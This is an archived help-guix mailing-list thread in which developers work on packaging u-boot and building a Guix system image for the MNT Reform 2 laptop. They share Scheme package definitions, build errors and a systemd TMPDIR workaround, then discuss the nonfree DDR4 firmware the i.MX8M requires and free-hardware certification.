Stop. >> command "make" "-j" "8" "HOSTCC=gcc" "CROSS_COMPILE=aarch64-linux-gnu-" failed with status 2 >> note: keeping build directory `/tmp/guix-build-u-boot-mnt-reform2-2021.06.drv-1' >> builder for `/gnu/store/ahqnc7qa9mam5k6ycc61jw8df10af19m-u-boot-mnt-reform2-2021.06.drv' failed with exit code 1 >> build of /gnu/store/ahqnc7qa9mam5k6ycc61jw8df10af19m-u-boot-mnt-reform2-2021.06.drv failed >> View build log at '/var/log/guix/drvs/ah/qnc7qa9mam5k6ycc61jw8df10af19m-u-boot-mnt-reform2-2021.06.drv.bz2'. >> guix build: error: build of `/gnu/store/ahqnc7qa9mam5k6ycc61jw8df10af19m-u-boot-mnt-reform2-2021.06.drv' failed >> #+END_VERBATIM >> >> I guess here's where my lack of knowledge of C-land is failing me. >> >> Any thoughts or ideas? >> >> - Christine > > Sounds like the error: > >> /gnu/store/dj05znzsk7fq43zj5r719ll8ldgh9xxi-u-boot-mnt-reform2-2021.06-checkout/include/malloc.h:875:22: error: missing binary operator before token "(" >> #if CONFIG_IS_ENABLED(SYS_MALLOC_SIMPLE) >> ^ > > is due to the =CONFIG_IS_ENABLED= not being defined and causing the > preprocessor to error out. That seems right. I don't understand the config system that's here to know what to do. I noticed that the source/README directory says the following: #+BEGIN_QUOTE - CONFIG_SYS_MALLOC_SIMPLE Provides a simple and small malloc() and calloc() for those boards which do not use the full malloc in SPL (which is enabled with CONFIG_SYS_SPL_MALLOC_START). #+END_QUOTE Now note that by following their custom instructions, I had set a rule in the package definition above to copy =mntreform-config= to =.config= But I also just noticed something strange. The build directory is: /tmp/guix-build-u-boot-mnt-reform2-2021.06.drv-0/source yet the error appears as: /gnu/store/dj05znzsk7fq43zj5r719ll8ldgh9xxi-u-boot-mnt-reform2-2021.06-checkout/include/malloc.h I don't know how common this is, but this surprised me to see that it was pointing at something from the checkout rather than in the build directory. So, I changed where the copy config step was and put it in the source section. Then, since the config step incorrectly identified this as not being a valid board (we're really doing the config step manually) I deleted it: #+BEGIN_SRC scheme (define-public u-boot-mnt-reform2 (let ((base (make-u-boot-package "mnt-reform2" "aarch64-linux-gnu")) (commit "bdcdce7434b9db19aabd59181014f24d66af0db8")) (package (inherit base) (version "2021.06") (name "u-boot-mnt-reform2") (source (origin (method git-fetch) (uri (git-reference (url "https://source.mnt.re/reform/reform-boundary-uboot.git") (commit commit))) (file-name (git-file-name name version)) (sha256 (base32 "1pwmcaaxx5zvn26gznwz4rjki4w3wwfzdnipxfr7d8067fmwgjp3")) (snippet '(copy-file "mntreform-config" ".config")))) (arguments (substitute-keyword-arguments (package-arguments base) ((#:phases phases) `(modify-phases ,phases (delete 'configure)))))))) #+END_SRC Now things compile! Now note that it looks like we need to do two steps, so this probably is not complete. From the mkuboot.sh mentioned previously: #+BEGIN_SRC sh # build rescue u-boot first (loads kernel from eMMC) make -j$(nproc) flash.bin KCPPFLAGS='-DMNTREFORM_BOOT_EMMC' cp flash.bin flash-rescue.bin # build normal u-boot second (loads kernel from SD card) make -j$(nproc) flash.bin #+END_SRC So maybe we need to incorporate that before using this. However, I'm actually disturbed by looking at a few things in the "environment-variables" file spit out in the build file. It says the following: #+BEGIN_SRC sh export TEMP=\ "/tmp/guix-build-u-boot-mnt-reform2-2021.06.drv-0" export TEMPDIR=\ "/tmp/guix-build-u-boot-mnt-reform2-2021.06.drv-0" export TMP=\ "/tmp/guix-build-u-boot-mnt-reform2-2021.06.drv-0" export TMPDIR=\ "/tmp/guix-build-u-boot-mnt-reform2-2021.06.drv-0" #+END_SRC But here's the weird thing. This is in: /tmp/guix-build-u-boot-mnt-reform2-2021.06.drv-4 Now wait a minute. Look at that last number. What the hell is going on here? Is this a bug in Guix? Why is it pointing at -0 in the -4 build directory? ^ permalink raw reply [flat|nested] 31+ messages in thread
* Re: Guix on the MNT Reform 2021-09-06 20:50 ` Christine Lemmer-Webber @ 2021-09-06 23:59 ` Fredrik Salomonsson 2021-09-07 1:13 ` Fredrik Salomonsson 0 siblings, 1 reply; 31+ messages in thread From: Fredrik Salomonsson @ 2021-09-06 23:59 UTC (permalink / raw) To: Christine Lemmer-Webber; +Cc: help-guix Christine Lemmer-Webber <cwebber@dustycloud.org> writes: > Ooh! This is a great email. Thank you for your help. Not sure how much of a help I am :). > That seems right. I don't understand the config system that's here to > know what to do. > > I noticed that the source/README directory says the following: > > #+BEGIN_QUOTE > - CONFIG_SYS_MALLOC_SIMPLE > Provides a simple and small malloc() and calloc() for those > boards which do not use the full malloc in SPL (which is > enabled with CONFIG_SYS_SPL_MALLOC_START). > #+END_QUOTE > > Now note that by following their custom instructions, I had set a rule > in the package definition above to copy =mntreform-config= to =.config= > > But I also just noticed something strange. > > The build directory is: > > /tmp/guix-build-u-boot-mnt-reform2-2021.06.drv-0/source > > yet the error appears as: > > /gnu/store/dj05znzsk7fq43zj5r719ll8ldgh9xxi-u-boot-mnt-reform2-2021.06-checkout/include/malloc.h > > I don't know how common this is, but this surprised me to see that it > was pointing at something from the checkout rather than in the build > directory. > > So, I changed where the copy config step was and put it in the source > section. Then, since the config step incorrectly identified this as not > being a valid board (we're really doing the config step manually) I > deleted it: > > #+BEGIN_SRC scheme > (define-public u-boot-mnt-reform2 > (let ((base (make-u-boot-package "mnt-reform2" "aarch64-linux-gnu")) > (commit "bdcdce7434b9db19aabd59181014f24d66af0db8")) > (package > (inherit base) > (version "2021.06") > (name "u-boot-mnt-reform2") > (source (origin > (method git-fetch) > (uri (git-reference > (url "https://source.mnt.re/reform/reform-boundary-uboot.git") > (commit commit))) > (file-name (git-file-name name version)) > (sha256 > (base32 > "1pwmcaaxx5zvn26gznwz4rjki4w3wwfzdnipxfr7d8067fmwgjp3")) > (snippet > '(copy-file "mntreform-config" ".config")))) > (arguments > (substitute-keyword-arguments (package-arguments base) > ((#:phases phases) > `(modify-phases ,phases > (delete 'configure)))))))) > #+END_SRC > > Now things compile! Nice find! I didn't notice the include coming from the checkout directory so I was comparing the build output from running the #+begin_src sh CROSS_COMPILE=aarch64-linux-gnu- ARCH=arm make -j$(nproc) #+end_src in the =https://source.mnt.re/reform/reform-boundary-uboot.git= repo to the output I got from guix build. > Now note that it looks like we need to do two steps, so this probably is > not complete. From the mkuboot.sh mentioned previously: > > #+BEGIN_SRC sh > # build rescue u-boot first (loads kernel from eMMC) > make -j$(nproc) flash.bin KCPPFLAGS='-DMNTREFORM_BOOT_EMMC' > cp flash.bin flash-rescue.bin > > # build normal u-boot second (loads kernel from SD card) > make -j$(nproc) flash.bin > #+END_SRC > > So maybe we need to incorporate that before using this. I'm not sure we need both to get this working. As if you look in the =mkimage.sh= script it actually creates two images. One for the eMMC and one for the SD card. To just get this booting using the SD card, what we have should be enough. I'm currently trying to create an image from it but hitting some build issues. This is what I have right now: #+begin_src diff diff --git a/gnu/bootloader/u-boot.scm b/gnu/bootloader/u-boot.scm index 6cad33b741..7d3f07e8ab 100644 --- a/gnu/bootloader/u-boot.scm +++ b/gnu/bootloader/u-boot.scm @@ -34,6 +34,7 @@ u-boot-firefly-rk3399-bootloader u-boot-mx6cuboxi-bootloader u-boot-nintendo-nes-classic-edition-bootloader + u-boot-mnt-reform2-bootloader u-boot-novena-bootloader u-boot-pine64-plus-bootloader u-boot-pine64-lts-bootloader @@ -209,6 +210,11 @@ (inherit u-boot-imx-bootloader) (package u-boot-wandboard))) +(define u-boot-mnt-reform2-bootloader + (bootloader + (inherit u-boot-imx-bootloader) + (package u-boot-mnt-reform2))) + (define u-boot-novena-bootloader (bootloader (inherit u-boot-imx-bootloader) diff --git a/gnu/packages/bootloaders.scm b/gnu/packages/bootloaders.scm index 5f7dfa0f8f..c365adc93a 100644 --- a/gnu/packages/bootloaders.scm +++ b/gnu/packages/bootloaders.scm @@ -980,6 +980,30 @@ to Novena upstream, does not load u-boot.img from the first partition.") `(("firmware" ,arm-trusted-firmware-rk3399) ,@(package-native-inputs base)))))) +(define-public u-boot-mnt-reform2 + (let ((base (make-u-boot-package "mnt-reform2" "aarch64-linux-gnu")) + (commit "bdcdce7434b9db19aabd59181014f24d66af0db8")) + (package + (inherit base) + (version "2021.06") + (name "u-boot-mnt-reform2") + (source (origin + (method git-fetch) + (uri (git-reference + (url "https://source.mnt.re/reform/reform-boundary-uboot.git") + (commit commit))) + (file-name (git-file-name name version)) + (sha256 + (base32 + "1pwmcaaxx5zvn26gznwz4rjki4w3wwfzdnipxfr7d8067fmwgjp3")) + (snippet + '(copy-file "mntreform-config" ".config")))) + (arguments + (substitute-keyword-arguments (package-arguments base) + ((#:phases phases) + `(modify-phases ,phases + (delete 'configure)))))))) + (define-public vboot-utils (package (name "vboot-utils") diff --git a/gnu/system/images/mnt-reform2.scm b/gnu/system/images/mnt-reform2.scm new file mode 100644 index 0000000000..1d1df1383e --- /dev/null +++ b/gnu/system/images/mnt-reform2.scm @@ -0,0 +1,66 @@ +;;; GNU Guix --- Functional package management for GNU +;;; Copyright © 2021 Fredrik Salomonsson <plattfot@posteo.net> +;;; +;;; This file is part of GNU Guix. +;;; +;;; GNU Guix is free software; you can redistribute it and/or modify it +;;; under the terms of the GNU General Public License as published by +;;; the Free Software Foundation; either version 3 of the License, or (at +;;; your option) any later version. +;;; +;;; GNU Guix is distributed in the hope that it will be useful, but +;;; WITHOUT ANY WARRANTY; without even the implied warranty of +;;; MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +;;; GNU General Public License for more details. +;;; +;;; You should have received a copy of the GNU General Public License +;;; along with GNU Guix. If not, see <http://www.gnu.org/licenses/>. + +(define-module (gnu system images mnt-reform2) + #:use-module (gnu bootloader) + #:use-module (gnu bootloader u-boot) + #:use-module (gnu image) + #:use-module (gnu packages linux) + #:use-module (gnu services) + #:use-module (gnu services base) + #:use-module (gnu services networking) + #:use-module (gnu system) + #:use-module (gnu system file-systems) + #:use-module (gnu system image) + #:use-module (srfi srfi-26) + #:export (mnt-reform2-barebones-os + mnt-reform2-image-type + mnt-reform2-barebones-raw-image)) + +(define mnt-reform2-barebones-os + (operating-system + (host-name "sarimner") + (timezone "Canada/Pacific") + (locale "en_US.utf8") + (bootloader (bootloader-configuration + (bootloader u-boot-mnt-reform2-bootloader) + (targets '("/dev/mmcblk1")))) + (initrd-modules '("sdhci-esdhc-imx")) + (kernel linux-libre-arm64-generic) + (file-systems (cons (file-system + (device (file-system-label "my-root")) + (mount-point "/") + (type "ext4")) + %base-file-systems)) + (services (append (list (service dhcp-client-service-type)) + %base-services)))) + +(define mnt-reform2-image-type + (image-type + (name 'mnt-reform2-raw) + (constructor (cut image-with-os + (arm64-disk-image (* 4 (expt 2 20))) ;4MiB + <>)))) + +(define mnt-reform2-barebones-raw-image + (image + (inherit + (os->image mnt-reform2-barebones-os #:type mnt-reform2-image-type)) + (name 'mnt-reform2-barebones-raw-image))) + +mnt-reform2-barebones-raw-image #+end_src And I'm using this config to create the image: #+begin_src scheme (use-modules (gnu) (gnu bootloader u-boot) (gnu packages bootloaders) (gnu packages linux) (gnu packages) (gnu services nfs) (gnu services sddm) (gnu system locale) (gnu system nss) (ice-9 rdelim) (ice-9 format) (srfi srfi-1)) (use-service-modules desktop networking ssh base xorg) (use-package-modules wm certs shells xdisorg display-managers) (define plattfot (user-account (name "plattfot") (group "users") ;; Define a G-Expr to find the path of the zsh binary: ;; https://gitlab.com/rain1/guix-wiki/wikis/FAQ#how-do-i-make-my-login-shell-zsh ;;(shell #~(string-append #$zsh "/bin/zsh")) (supplementary-groups '("wheel" "netdev" "audio" "video")) (home-directory "/home/plattfot"))) (define fs-root (file-system (mount-point "/") (type "ext4") (device (file-system-label "my-root")) (needed-for-boot? #t))) (operating-system (host-name "sarimner") (timezone "Canada/Pacific") (locale "en_US.utf8") (locale-definitions (list (locale-definition (name "en_US.utf8") (source "en_US") (charset "UTF-8")) (locale-definition (name "sv_SE.utf8") (source "sv_SE") (charset "UTF-8")))) (bootloader (bootloader-configuration (targets '("/dev/mmcblk1")) (bootloader u-boot-mnt-reform2-bootloader))) (initrd-modules '("sdhci-esdhc-imx")) ;; (kernel linux-libre-arm64-generic) (file-systems (cons* fs-root %base-file-systems)) ;; (swap-devices '("/swapfile")) (users (cons plattfot %base-user-accounts)) (keyboard-layout (keyboard-layout "eu")) ;; (packages (cons* sway waybar ;; rofi ;; nss-certs ;for HTTPS access ;; %base-packages)) ;; (services ;; (cons* (service openssh-service-type ;; (openssh-configuration ;; (port-number 6060) ;; (password-authentication? #f))) ;; (extra-special-file "/usr/bin/env" (file-append coreutils "/bin/env")) ;; (remove (lambda (service) ;; (member (service-kind service) ;; (list ;; gdm-service-type ;; ))) ;; %desktop-services))) ;; Allow resolution of '.local' host names with mDNS. ;; (name-service-switch %mdns-host-lookup-nss) ) #+end_src I'm building the image with: #+begin_src shell guix environment guix ./pre-inst-env guix system image --image-type=mnt-reform2-raw config.scm #+end_src I tried with the =linux-libre-arm64-generic= first but that couldn't find the =sdhci-esdhc-imx= module. And now when I'm testing with just the linux-libre kernel I'm running out of space on my =/tmp=. Is there an easy way of telling the guix-daemon to use another path for building? Or do I need to restart it and change its =TMPDIR=? > However, I'm actually disturbed by looking at a few things in the > "environment-variables" file spit out in the build file. It says the > following: > > #+BEGIN_SRC sh > export TEMP=\ > "/tmp/guix-build-u-boot-mnt-reform2-2021.06.drv-0" > export TEMPDIR=\ > "/tmp/guix-build-u-boot-mnt-reform2-2021.06.drv-0" > export TMP=\ > "/tmp/guix-build-u-boot-mnt-reform2-2021.06.drv-0" > export TMPDIR=\ > "/tmp/guix-build-u-boot-mnt-reform2-2021.06.drv-0" > #+END_SRC > > But here's the weird thing. This is in: > > /tmp/guix-build-u-boot-mnt-reform2-2021.06.drv-4 > > Now wait a minute. Look at that last number. What the hell is going on > here? Is this a bug in Guix? Why is it pointing at -0 in the -4 build > directory? I stumbled upon this when checking how to change the build directory for the guix-daemon [0]: #+begin_quote When the daemon performs a build on behalf of the user, it creates a build directory under ‘/tmp’ or under the directory specified by its ‘TMPDIR’ environment variable. This directory is shared with the container for the duration of the build, though within the container, the build tree is always called ‘/tmp/guix-build-NAME.drv-0’. #+end_quote [0] https://guix.gnu.org/manual/en/html_node/Invoking-guix_002ddaemon.html So I don't think it's a bug. -- s/Fred[re]+i[ck]+/Fredrik/g ^ permalink raw reply related [flat|nested] 31+ messages in thread
* Re: Guix on the MNT Reform 2021-09-06 23:59 ` Fredrik Salomonsson @ 2021-09-07 1:13 ` Fredrik Salomonsson 0 siblings, 0 replies; 31+ messages in thread From: Fredrik Salomonsson @ 2021-09-07 1:13 UTC (permalink / raw) To: Christine Lemmer-Webber; +Cc: help-guix Fredrik Salomonsson <plattfot@posteo.net> writes: > I'm building the image with: > #+begin_src shell > guix environment guix > ./pre-inst-env guix system image --image-type=mnt-reform2-raw config.scm > #+end_src > > I tried with the =linux-libre-arm64-generic= first but that couldn't > find the =sdhci-esdhc-imx= module. And now when I'm testing with just > the linux-libre kernel I'm running out of space on my =/tmp=. Is there > an easy way of telling the guix-daemon to use another path for building? > Or do I need to restart it and change its =TMPDIR=? Just to follow up, I got a bit further by changing the =TMPDIR= to a directory in my home directory. I'm using guix on a foreign distro so I just did a quick edit on the systemd service file: #+begin_src shell mkdir /home/plattfot/scratch sudo systemctl stop guix-daemon.service sudo systemctl edit guix-daemon.service #+end_src #+begin_src conf [Service] Environment=TMPDIR=/home/plattfot/scratch #+end_src #+begin_src shell sudo systemctl start guix-daemon.service #+end_src It now fails when building the info-dir #+begin_src shell building directory of Info manuals... builder for `/gnu/store/qv4mh2hvryj33qyi0cw4nzbgy1l17xv6-info-dir.drv' failed with exit code 1 build of /gnu/store/qv4mh2hvryj33qyi0cw4nzbgy1l17xv6-info-dir.drv failed View build log at '/var/log/guix/drvs/qv/4mh2hvryj33qyi0cw4nzbgy1l17xv6-info-dir.drv.bz2'. cannot build derivation `/gnu/store/g1lqn7h5baxq8grv2k2kjrjdvkpxlzn7-profile.drv': 1 dependencies couldn't be built cannot build derivation `/gnu/store/wybzgz18szsrnk5rayyxgh3hvsqrg6mg-system.drv': 1 dependencies couldn't be built cannot build derivation `/gnu/store/kp5086frygpvfmlyb2wa78shgciwvd4p-partition.img.drv': 1 dependencies couldn't be built cannot build derivation `/gnu/store/3g9fqz36rw1pqzdh35ds3vnpgidqk40y-genimage.cfg.drv': 1 dependencies couldn't be built cannot build derivation `/gnu/store/gazkm0vdj2i6iw7i0r8d1hlr02aqglpm-disk-image.drv': 1 dependencies couldn't be built guix system: error: build of `/gnu/store/gazkm0vdj2i6iw7i0r8d1hlr02aqglpm-disk-image.drv' failed #+end_src The build log is empty, so I'm not sure what went wrong. Sadly that's all the time I have for this today. I'll see if I can find some time during the rest of week, otherwise I'll continue on the weekend. NOTE: to undo the changes on the service file you can simply run: #+begin_src shell sudo systemctl revert guix-daemon.service #+end_src -- s/Fred[re]+i[ck]+/Fredrik/g ^ permalink raw reply [flat|nested] 31+ messages in thread
* Re: Guix on the MNT Reform 2021-09-05 1:31 ` Christine Lemmer-Webber 2021-09-06 17:07 ` Christine Lemmer-Webber @ 2021-09-07 4:36 ` Denis 'GNUtoo' Carikli 2021-09-07 18:18 ` Christine Lemmer-Webber 1 sibling, 1 reply; 31+ messages in thread From: Denis 'GNUtoo' Carikli @ 2021-09-07 4:36 UTC (permalink / raw) To: Christine Lemmer-Webber; +Cc: help-guix [-- Attachment #1: Type: text/plain, Size: 948 bytes --] On Sat, 04 Sep 2021 21:31:08 -0400 Christine Lemmer-Webber <cwebber@dustycloud.org> wrote: > So we probably want to make a u-boot-mnt-reform in > gnu/packages/bootloaders.scm The issue is that the I.MX8 requires a nonfree firmware for the DDR4 controller. If you grep for firmware-imx in the u-boot source code you will find mentions of it in the READMEs documentation for many I.MX8 boards. So that firmware probably need to be reimplemented as free software somehow. Alternatively there are some new system on module (SOM) boards that are also compatible with the MNT Reform[1] that might at least boot with free software. I've also started documenting the MNT reform on a Liberplanet wiki page[2] but it's really a draft at this point. References: ----------- [1]https://community.mnt.re/t/ideas-for-processors-for-mnt-reform/237 [2]https://libreplanet.org/wiki/Group:Hardware/research/laptop/Mnt_Reform Denis. [-- Attachment #2: OpenPGP digital signature --] [-- Type: application/pgp-signature, Size: 833 bytes --] ^ permalink raw reply [flat|nested] 31+ messages in thread
* Re: Guix on the MNT Reform 2021-09-07 4:36 ` Denis 'GNUtoo' Carikli @ 2021-09-07 18:18 ` Christine Lemmer-Webber 2021-09-07 20:07 ` Denis 'GNUtoo' Carikli 0 siblings, 1 reply; 31+ messages in thread From: Christine Lemmer-Webber @ 2021-09-07 18:18 UTC (permalink / raw) To: Denis 'GNUtoo' Carikli; +Cc: help-guix Denis 'GNUtoo' Carikli <GNUtoo@cyberdimension.org> writes: > [[PGP Signed Part:Undecided]] > On Sat, 04 Sep 2021 21:31:08 -0400 > Christine Lemmer-Webber <cwebber@dustycloud.org> wrote: > >> So we probably want to make a u-boot-mnt-reform in >> gnu/packages/bootloaders.scm > The issue is that the I.MX8 requires a nonfree firmware for the DDR4 > controller. Oh really? And it's not on hardware, needs to be compiled into either u-boot or the kernel I guess? I had thought looking at the manual of the MNT Reform that only the HDMI port required a blob. This will be disappoiting if we can't get the Reform into Guix proper soon. There are of course channels, and maybe the work here might have to move to one of those locations rather than getting committed to the main guix repo, but I hope not. Hm, seems confirmed from the #mnt-reform channel on libera: <cwebber> hm is this true? <cwebber> https://lists.gnu.org/archive/html/help-guix/2021-09/msg00035.html <cwebber> do you need a piece of nonfree firmware to get the reform to boot? <bluerise> The bootloader contains a training firmware that is supplied to the DDR4 controller <cwebber> I see <bluerise> So yes, there's a blob that is given to the DDR4 controller <cwebber> so yes, until that is replaced <bluerise> 'replaced'? <cwebber> looks like we won't be able to get the reform in guix proper then <cwebber> since it has a pretty strict libre policy <cwebber> but, it could go in a channel I guess > If you grep for firmware-imx in the u-boot source code you will find > mentions of it in the READMEs documentation for many I.MX8 boards. That's too bad. > So that firmware probably need to be reimplemented as free software > somehow. Or: <bluerise> the trick is to flash the non-free bootloader into the SoM's eMMC <bluerise> then you don't have to see the non-free software ;) Of course, though I think a purely libre policy is quite good, the criticism remains correct that it's a bit absurd that we tend to relax once we move it "out of sight, out of mind". But one can only make so much progress at once. Maybe some day we'll have hardware that's truly free from top to bottom. I do think the Reform helps advance towards that goal: at least it makes things very incrementally improvable in ways that other laptop designs do not. So I would like to get Guix working with it... even if we have to outsource our process to a separate channel until a fully free solution exists. > Alternatively there are some new system on module (SOM) boards that are > also compatible with the MNT Reform[1] that might at least boot with > free software. > > I've also started documenting the MNT reform on a Liberplanet wiki > page[2] but it's really a draft at this point. Maybe of note for that page: <bluerise> 'If it's connected through PCI, it could be a security issue as IOMMUs tend to be too easy to bypass in practice as they are often not well configured by various software components like u-boot, Linux and so on.' <bluerise> The i.MX8M has *no* IOMMU > References: > ----------- > [1]https://community.mnt.re/t/ideas-for-processors-for-mnt-reform/237 > [2]https://libreplanet.org/wiki/Group:Hardware/research/laptop/Mnt_Reform > > Denis. Thank you for your hard work on this and many other important things to improve our computing freedom situations, Denis! > [[End of PGP Signed Part]] ^ permalink raw reply [flat|nested] 31+ messages in thread
* Re: Guix on the MNT Reform 2021-09-07 18:18 ` Christine Lemmer-Webber @ 2021-09-07 20:07 ` Denis 'GNUtoo' Carikli 2021-09-08 10:32 ` Christine Lemmer-Webber 0 siblings, 1 reply; 31+ messages in thread From: Denis 'GNUtoo' Carikli @ 2021-09-07 20:07 UTC (permalink / raw) To: Christine Lemmer-Webber; +Cc: help-guix [-- Attachment #1: Type: text/plain, Size: 4592 bytes --] On Tue, 07 Sep 2021 14:18:01 -0400 Christine Lemmer-Webber <cwebber@dustycloud.org> wrote: > Oh really? I really wonder how to improve the situation. Several companies are making hardware that don't work with fully free software but a lot of users using their hardware think that they are running only free software. With Puri.sm laptops for instance, the issue is probably that the Coreboot project has a reputation of being fully free while it's not. On recent computers, in addition to the Intel Management Engine / AMD PSP issue, there is also a huge nonfree binary (Intel FSP or a nonfree version of AMD's AGESA) that does all the work. Another common misunderstanding is that "small nonfree firmwares" could turn to be really issues. As they are not well understood it's hard to know. For instance the GPU firmware of the Raspberry PI, at least on some models is a complete operating system[2]. The FSF has a (Respect Your Freedom) certification[1] to address precisely that kind of issues, though they require everything to work with free software not to steer users toward nonfree software. And that strictness is also a good thing in my opinion as otherwise users would probably end up buying hardware thinking it can work with only free software, and if it's too painful (for instance if the GPU doesn't work) they'd end up using nonfree software anyway, despite the fact that they decided to buy that kind of hardware precisely not to have to run nonfree software. > And it's not on hardware, needs to be compiled into either > u-boot or the kernel I guess? I don't know, I didn't look into where the nonfree binary is. > I had thought looking at the manual of the MNT Reform that only the > HDMI port required a blob. This will be disappoiting if we can't get > the Reform into Guix proper soon. There are of course channels, and > maybe the work here might have to move to one of those locations > rather than getting committed to the main guix repo, but I hope not. In their "Re-Introducing Reform" blog post[3], MNT Research states the following: > Unfortunately, during the boot process, i.MX8M requires a > closed-source firmware for an embedded ARCompact processor in the > Synopsys DDR4 PHY. This firmware, which is only a few kilobytes in > size, is responsible for regulating the physical connection to the > DDR chips in the face of changing temperatures. We are in contact > with reverse engineers with the goal of analyzing what the > capabilities of this so called PHY Utility Block (PUB) are, and to > find out if we have a chance to replace this firmware at some point > in the future. So it would also be a good idea to remind them about that and potentially look for other declarations from MNT Research about the DDR4 firmware. A way to handle that could be to make the most basic firmware that would make the machine boot and keep the machine running, not necessarily with huge performance. This is how it was done for the first generation Core I.5/I.7 computers in Coreboot. It was then improved to have cleaner code and make it way faster. > <bluerise> the trick is to flash the non-free bootloader into the > SoM's eMMC <bluerise> then you don't have to see the non-free > software ;) Here I see several issues with that: - If it's not shipped by default by the company making the hardware, users will expect to be able to install Guix on it for instance, and the instructions to make it work would require to steer users toward the download, compilation and installation of nonfree software. - If it's on an eMMC, users could accidentally remove it, and they would end up needing to install it again So we'd have the same issue than above. - If it needs to be updated for some reasons, once again we end up with the same issue. - And as usual with workarounds like that it doesn't really fix the issue. We probably need some kind of way to fix that, maybe some sort of collective funding to fund people to work on tasks like that? Here this I'MX8 issue also affect the Librem5 for instance, and probably several other devices as well. And the neat thing about the Librem 5 is that as I understand is that the modem and the WiFi cards are removable. > <bluerise> The i.MX8M has *no* IOMMU Oh, I didn't know that, thanks a lot. References: ----------- [1]https://ryf.fsf.org/ [2]https://ownyourbits.com/2019/02/02/whats-wrong-with-the-raspberry-pi/ [3]https://www.crowdsupply.com/mnt/reform/updates/re-introducing-reform Denis. [-- Attachment #2: OpenPGP digital signature --] [-- Type: application/pgp-signature, Size: 833 bytes --] ^ permalink raw reply [flat|nested] 31+ messages in thread
* Re: Guix on the MNT Reform 2021-09-07 20:07 ` Denis 'GNUtoo' Carikli @ 2021-09-08 10:32 ` Christine Lemmer-Webber 2021-09-08 16:47 ` Vagrant Cascadian 2021-09-08 18:08 ` Christine Lemmer-Webber 0 siblings, 2 replies; 31+ messages in thread From: Christine Lemmer-Webber @ 2021-09-08 10:32 UTC (permalink / raw) To: Denis 'GNUtoo' Carikli; +Cc: help-guix Denis 'GNUtoo' Carikli <GNUtoo@cyberdimension.org> writes: > [[PGP Signed Part:Undecided]] > On Tue, 07 Sep 2021 14:18:01 -0400 > Christine Lemmer-Webber <cwebber@dustycloud.org> wrote: >> Oh really? > > I really wonder how to improve the situation. Several companies are > making hardware that don't work with fully free software but a lot > of users using their hardware think that they are running only free > software. Arguably, nobody is, RYF or not, since we are plagued with nonfree either "hidden" from users or not. However, I respect the RYF approach as an interim solution... I think we need to work on it from multiple angles, and the line drawn in the sand by RYF is still useful. However, really long term what we want is a top to bottom FOSS system, one where we have schematics for really all the components and the firmware for them, whether exposed to users or not, as well. At the moment, this feels like a pipe dream, but hackable hardware such as the Reform at least does advance towards that; as you've already noted, there are possible paths forward for swapping out this layer in the Reform. Thus I think this is a worthwhile direction. Contrast to where we've mostly been stuck for much of the last decade and a half of computers, where it felt like nearly everything new on the market was sealed off and unavailable for modification to users. I am glad, btw, that you are looking for something RYF-compatible that can be slotted into the Reform. Please keep us updated here with the results of your work. (And is there a way we can support you? For instance, if purchasing and sending you hardware to experiment with could help, I am happy to help there.) Back to some optimism: even though nothing is currently ideal, the current work on RISC-V boards and the increasing availability of hardware that feels like it has "community touch" to it makes me hopeful for the future in a way that I wasn't feeling for most of the last decade. > With Puri.sm laptops for instance, the issue is probably that the > Coreboot project has a reputation of being fully free while it's not. > > On recent computers, in addition to the Intel Management Engine / AMD > PSP issue, there is also a huge nonfree binary (Intel FSP or > a nonfree version of AMD's AGESA) that does all the work. > > Another common misunderstanding is that "small nonfree firmwares" could > turn to be really issues. As they are not well understood it's hard > to know. For instance the GPU firmware of the Raspberry PI, at least on > some models is a complete operating system[2]. > > The FSF has a (Respect Your Freedom) certification[1] to address > precisely that kind of issues, though they require everything > to work with free software not to steer users toward nonfree software. > > And that strictness is also a good thing in my opinion as otherwise > users would probably end up buying hardware thinking it can work with > only free software, and if it's too painful (for instance if the GPU > doesn't work) they'd end up using nonfree software anyway, despite > the fact that they decided to buy that kind of hardware precisely not > to have to run nonfree software. > >> And it's not on hardware, needs to be compiled into either >> u-boot or the kernel I guess? > > I don't know, I didn't look into where the nonfree binary is. > >> I had thought looking at the manual of the MNT Reform that only the >> HDMI port required a blob. This will be disappoiting if we can't get >> the Reform into Guix proper soon. There are of course channels, and >> maybe the work here might have to move to one of those locations >> rather than getting committed to the main guix repo, but I hope not. > > In their "Re-Introducing Reform" blog post[3], MNT Research states the > following: > >> Unfortunately, during the boot process, i.MX8M requires a >> closed-source firmware for an embedded ARCompact processor in the >> Synopsys DDR4 PHY. This firmware, which is only a few kilobytes in >> size, is responsible for regulating the physical connection to the >> DDR chips in the face of changing temperatures. We are in contact >> with reverse engineers with the goal of analyzing what the >> capabilities of this so called PHY Utility Block (PUB) are, and to >> find out if we have a chance to replace this firmware at some point >> in the future. So, that is disappointing, but also a space for optimism I guess? I would be curious to know more about this reverse engineering effort. > So it would also be a good idea to remind them about that and > potentially look for other declarations from MNT Research about the > DDR4 firmware. Yeah. > A way to handle that could be to make the most basic firmware that > would make the machine boot and keep the machine running, not > necessarily with huge performance. > > This is how it was done for the first generation Core I.5/I.7 computers > in Coreboot. It was then improved to have cleaner code and make it > way faster. That seems reasonable. >> <bluerise> the trick is to flash the non-free bootloader into the >> SoM's eMMC <bluerise> then you don't have to see the non-free >> software ;) > > Here I see several issues with that: > - If it's not shipped by default by the company making the hardware, > users will expect to be able to install Guix on it for instance, and > the instructions to make it work would require to steer users toward > the download, compilation and installation of nonfree software. > - If it's on an eMMC, users could accidentally remove it, and they > would end up needing to install it again So we'd have the same issue > than above. > - If it needs to be updated for some reasons, once again we end up with > the same issue. > - And as usual with workarounds like that it doesn't really fix the > issue. Yes I agree with those concerns. > We probably need some kind of way to fix that, maybe some sort of > collective funding to fund people to work on tasks like that? I would love to see and support a libre hardware research lab. > Here this I'MX8 issue also affect the Librem5 for instance, and > probably several other devices as well. And the neat thing about the > Librem 5 is that as I understand is that the modem and the WiFi cards > are removable. I am guessing the Pinephone has a similar issue (or more) though I'm not sure. Pinephone doesn't have removeable cards, though it does have kill switches, which is neat. I guess "removeable" is better if it also means "replaceable" though. >> <bluerise> The i.MX8M has *no* IOMMU > > Oh, I didn't know that, thanks a lot. > > References: > ----------- > [1]https://ryf.fsf.org/ > [2]https://ownyourbits.com/2019/02/02/whats-wrong-with-the-raspberry-pi/ > [3]https://www.crowdsupply.com/mnt/reform/updates/re-introducing-reform > > Denis. > > [[End of PGP Signed Part]] ^ permalink raw reply [flat|nested] 31+ messages in thread
